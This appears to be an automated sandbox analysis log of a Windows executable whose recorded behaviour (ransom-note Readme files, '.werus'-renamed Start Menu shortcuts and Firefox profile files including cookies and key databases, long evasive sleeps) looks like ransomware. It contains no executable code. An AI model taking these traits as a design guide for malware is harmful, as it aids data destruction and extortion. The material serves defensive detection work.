Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: tiledatarepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: aASfOObWpW.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: aASfOObWpW.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: aASfOObWpW.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\pover\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb source: aASfOObWpW.exe
Source:	Binary string: C:\Users\pover\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb}Z source: aASfOObWpW.exe

Source: aASfOObWpW.exe

Static PE information: 0xC3791C1C [Sun Dec 3 02:36:12 2073 UTC]

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Code function: 0_2_009ED4C8 pushad ; retf

0_2_009ED4C9

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_1.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_2.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_3.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_4.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_5.txt	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Magnify.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Narrator.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\On-Screen Keyboard.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Administrative Tools.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Command Prompt.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\computer.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Control Panel.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Run.lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell (x86).lnk.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk.werus	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Memory allocated: 9E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Memory allocated: 2630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Memory allocated: CA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Window / User API: threadDelayed 552

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 5568	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 5568	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe TID: 5568	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store	Jump to behavior

Source: aASfOObWpW.exe, 00000000.00000002.3901052510.0000000008390000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Users\user\Desktop\aASfOObWpW.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Overwrites Mozilla Firefox settings

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\session-state.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\state.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835635.a669692a-f9c9-42c0-a803-7b87d3ff5834.new-profile.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835643.9a3c31ca-35e4-421e-91e1-5f7b9bd27492.event.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835649.b06d08be-79e8-4bfe-b6aa-988ea3d35cbd.first-shutdown.jsonlz4.werus	Jump to behavior
